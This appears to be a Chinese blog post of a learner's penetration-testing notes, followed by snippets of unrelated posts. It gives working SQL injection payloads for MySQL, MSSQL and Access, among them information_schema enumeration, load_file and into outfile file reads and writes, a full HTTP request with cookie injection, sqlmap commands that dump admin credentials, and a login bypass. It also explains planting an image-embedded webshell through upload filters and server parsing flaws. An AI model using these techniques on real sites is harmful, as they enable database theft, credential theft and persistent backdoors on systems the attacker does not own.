前一段时间的渗透学习总结(二)

知道网站的操作系统后,我们知道mysql数据库5.0以上版本有一个information_schema表,它包含了数据库中的所有表名,所以我们用 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=0x726F6F74 这样就可以获得所有表名,最后的一串是数据库名的十六进制表示,我们在写的时候,记得要转化位十六进制,出现表名后,我们找最有可能存有管理员账号密码的表进行猜解,UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.columns where table_name=0x797A736F756D656D626572 用这条语句可以猜出存有管理员信息的那个表的所有列名,后面的十六进制就是表名,之后,将列名中的username,password之类的列写在相应的数字位置,这样就可以出项网站后台的用户名和密码。

php+mysql注入,mysql数据库的默认端口是3306,数据库用户的最高权限为root,mysql数据库中,在root权限下,可以对数据库进行读取和导出,有时会因为目录权限设置,root被降权,和魔术引号的开启使得root权限下读取和导出失败。

读取函数:UNION SELECT 1,load_file(‘路径‘),3,4,5,6,7,8,9,10 如果魔术引号开启或使用了addslashes()函数,可对路径进行十六进制编码,不加单引号。

导出函数:UNION SELECT 1,‘写入数据‘,3,4,5,6,7,8,9,10 into outfile ‘D:\\wwwroot\\case1\\11.php‘ 路径同样需要编码绕过。

网站路径的获取方法:1、通过遗留文件获取  2、报错显示  3、谷歌搜索  4、漏洞爆路径   5、服务器的配置文件 iis6.0的配置文件位置C:\\WINDOWS\\system32\\inetsrv\\MetaBase.xml

宽字节注入也可以解决注入转义的问题(但我现在还不太明白,等明白了再写)

除了数字型的注入外,还有字符和搜索型的注入。

字符型注入:www.xxx.com/news.php?id=aaa 字符型的注入式url上输入的参数会被单引号闭合,导致sql语句无法正确执行,这是我们要做的就是闭合引号将sql语句暴露出来,这样才能被执行。

搜索型注入:www.xxx.com/search.php?name=中国 搜索型注入,数据库中通过通配符“%”来搜索name后的内容,再通过sql语句进行查询时,要闭合单引号和百分号,语句才能照常执行。

mssql注入:数据库默认开启1433端口,最高权限为sa权限,具有读取目录。注册表读取,数据库管理,命令执行等权限。下一级为db权限,在下一级为public权限。

在url上写参数的注入为get注入,当get注入无法成功时可以用cookie注入,实例如下:

GET /1/1/shownews.asp? HTTP/1.1
Host: 127.0.0.1:81
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: id=27%20union%20select%201,2,3,4,5,6,7,8,9,10,11%20from%20admin

cookie注入需要使用的工具是burpsuite工具进行抓包改包从而尽心cookie注入。

sqlmap也可以进行cookie注入,还有其他功能,极其强大。具体的可以查看手册。

sqlmap.py -u 注入地址 --cookie "参数" --level 2 cookie注入

sqlmap.py -u 注入地址 --cookie "参数" --level 2 --tables 猜解表名
sqlmap.py -u 注入地址 --cookie "参数" --level 2 --columns -T admin 猜解admin的列名
sqlmap.py -u 注入地址 --cookie "参数" --level 2 --dump -C "username,password" -T admin 猜解用户名和密码

sqlmap.py -u 注入地址 --data "参数"  post注入其中的参数需要打开网络监听找出post提交的参数

access偏移注入(适合于表明猜解的到列名猜解不到的情况猜出字段数后用union select 联合查询逐步用*取代数字直到返回正确少的数字的个数就是admin表中的列数之后(如:22-16=6;10+6*2=22则union select  1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)可随机爆出admin表中的信息如果爆不出来可以再减六个union select  1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id))

Access跨库查询.

条件:分站有注入,知道对方站的路径可以用这个方法来跨库查询.

[C:\root\data\%23db1.asp]为数据库

admin为数据库中的表

user为数据库中admin表的段.
a是目标站点 b是存在注入的站点 a,b是同服务器的站点
条件:必须站点A的数据库绝对路径(D:/wwwroot/....)
.mdb .asa .asp

由于条件较苛刻,所以很少使用。

post注入 登陆框注入(‘or’1=1) 表单注入

select * from admin where username=‘‘or‘ 1=1 and password=‘‘or‘ 1=1‘

对于xss漏洞,迪哥说在实际的渗透测试中用处不大没怎么讲,所以这一块只能以后单独找视频学习了。

对于mysql5.0一下的数据库版本,我们一般常用的方法有暴力破解,旁注和c段入侵,xss等。

iis6.0的服务器存在文件解析漏洞,且没有出补丁,我们可以用这个漏洞,在进入后台之后拿到webshell留下后门再用中国菜刀连接。获取webshell的方式就是在图片中通过cmd的copy命令加入相应脚本的一句话木马,再上传,上传文件命名规则:
1.上传文件,本地和服务端命名一致
qq.jpg(本地电脑)==》 qq.jpg(服务器)
xx.asp;.xx.jpg ==》xx.asp;.xx.jpg
  
2.上传文件,本地和服务端命名不一致(时间,随机命名等)
qq.jpg(本地电脑)==》2015061719411024.jpg(服务器)
判断验证方式,本地验证,服务器验证
本地验证:js验证(禁用js,删除js)
服务器验证:文件头,filetype,代码,文件名
00截断,filetype修改,文件修改,代码优化

对于第二种命名,我们可以用burpsuite抓包改包后再上传,命名方式和一一样。

其他服务器的解析漏洞:

iis7.x uginx 补丁
www.xxx.com/logo.gif
有漏洞:www.xxx.com/logo.gif/xx.php 把前面文件当做php执行(只能php)如果出现乱码没有出现404等错误页面则存在漏洞

apache 版本
www.xx.com/logo.gif
有漏洞:www.xx.com/logo.php.xxxx xxxx代表后缀名 当系统不识别后缀名会自动跳到上级识别

phpcms 2008漏洞,可以从网上下载一个php解释器进行漏洞的利用,以此可以得到数据库管理员和密码等。

时间: 2024-07-31 10:11:25

前一段时间的渗透学习总结(二)的相关文章

前一段时间的渗透学习总结(一)

第一天,我对网站的脚本类型,数据库的类型,服务器的种类,操作系统有了一个初步的了解. 现在的网站脚本大致有asp.php.aspx这三种类型这些都是动态语言,它们是中小型网站中应用最多的三种脚本类型,这三种类型的漏洞是比较多的.还有一种类型是jsp脚本,这种脚本多用于大型网站的开发,jsp脚本类型的网站漏洞,可以说几乎是没有的,不过虽然jsp的漏洞少,但jsp网站由于开发难度大,维护成本高,往往需要购买独立的服务器,所以jsp类型的网站还是很少的,而且这也不是我们主攻的方向. 数据库大体上分为关

松口气,近一段时间的工作学习情况

公司的工作最近又小松口气,其实剩下的事情还不少,但是框架已经成型,接下来硬骨头还有很多,但是吃一个就少一个,这就不太怕了. 去年开始做这套类似Blue Print的图脚本的时候没想到虚幻能这么快就开放,项目推行类Blue Print时也就没有太激进,图本身的出发点是自然语言,而不是程序语言,带有不少Coroutine的概念,结果现在就有点被动了.自己做出的图表系统无论怎么看,从组织上和方便程度上都不能跟UE4相提并论,所以--现在压力略大. 不过坚持到最后能实施成这样子,而且得到了部分策划的支持

前一段时间的混乱岁月总结和下一阶段展望

前段时间虽然断断续续地在学,但是状态极其不佳,下面分析原因: 1.晚上玩手机:下午学了一些东西->感觉很充实->晚上想玩->决定带手机回寝室,认为自己只需要玩一会就可以睡觉->晚上玩得昏天黑地->白天死睡,睡了一个上午->后悔,自责->下午开始学习,没精神,想睡觉->下午学了一些东西->进入循环 2.学习,放松,生活三者之间的关系:这其中:学习和生活都应该得到重视,特别是生活:不要忽视他,应该把它放到与学习平等的地位,好的愉快地生活习惯会反哺学习,好的

对Java8新的日期时间类的学习(二)

示例11 在Java中如何判断某个日期是在另一个日期的前面还是后面 这也是实际项目中常见的一个任务.你怎么判断某个日期是在另一个日期的前面还是后面,或者正好相等呢?在Java 8中,LocalDate类有一个isBefore()和isAfter()方法可以用来比较两个日期.如果调用方法的那个日期比给定的日期要早的话,isBefore()方法会返回true. LocalDate today = LocalDate.now(); LocalDate tomorrow = LocalDate.of(2

最近一段时间的一些学习,以及遇见的一些问题总结

1.首先我用了layer的一个把整个页面当成遮罩层的一个技术,参考链接:ttp://layer.layui.com/ 2.页面间的操作出现了一些问题,我想把数据都存储到数组里边,一起操作执行.所以遇见了一些问题.总结如下: Js问题:1.prototype,为一些封装好的类或者属性或者函数注册方法,使用实例如下: Array.prototype.remove = function (obj) { for (var i = 0; i < this.length; i++) { var temp =

对自己近段时间工作状态的深刻反思

我想写这篇文章最重要的目的是记录这一段时间的工作学习状态,并对自己的心路历程有个总结,总的来说对这一段时间自己的表现还是不太满意的,所以还是需要进行深刻的反思,只有通过深刻地反思才能够有所收获,程序员总是有一种心理就是自己的想法总是最好的,所以在实际的工作中不免和同事或者领导有些意见上面的分歧,本来可能是一件正常的问题讨论,最后演变成争执,如果再控制不好自己的情绪,就会将一些带情绪的话,最后弄得大家心里都是不太舒服的,但往往事情过了之后又有些深深的懊恼,只是当时为什么不能Hold住自己,有句话说

算法学习(二) 全排列问题的非递归算法——模拟堆栈

前一段时间总结了全排列问题的几种递归解法,今天再总结一下如何通过对系统栈行为的模拟来非递归的实现全排列问题. 我们用一个数组stack[]来表示一个栈,用一个top指针来表示栈顶,用一个flags[]数组来标示每一个数字的可用性:用i来表示当前的状态. 初始状态top=0:i=-1:flags数组全为1: i递增,如果i没有越界并且flags[i]==1,那么就将i写入栈中,栈顶往前移动一位:最后把flags[i]赋值为0,i回溯到初始状态-1: 当栈顶越界,就将整个栈的信息打印出来,然后top

加壳学习笔记(二)-汇编基础

7.简单的汇编语法:   堆栈平衡  PUSH,POP功能: 把操作数压入或取出堆栈语法: PUSH 操作数 POP 操作数格式: PUSH r PUSH M PUSH data POP r POP mPUSHF,POPF,PUSHA,POPA功能: 堆栈指令群格式: PUSHF POPF PUSHA POPAADD,ADC功能: 加法指令语法: ADD OP1,OP2 ADC OP1,OP2格式: ADD r1,r2 ADD r,m ADD m,r ADD r,data影响标志: C,P,A,

这一段时间的学习心得

这一段时间我在一家培训机构接受培训,这里很有名,很多IT人士都想进来这里进修,我也一样如愿以偿的来到这里.刚开始的时间我很努力,每天过的都很充实---敲代码.感觉这样的日子特别好.每天都会讲好多的内容,渐渐地我开始吃不消了,有点跟不上的进度.但还是会很努力的学习. 我们刚开始是学的基础加强,数据库,ADO.NET,三层,ASP.NET,但是在后面的日子里我开始变得懒惰消极,不爱学习,每天很少敲代码,我也不知道是怎么了,就是不想学习,现在拉下了很多的课程,心里也是很着急我也不想这样的,但是就是不想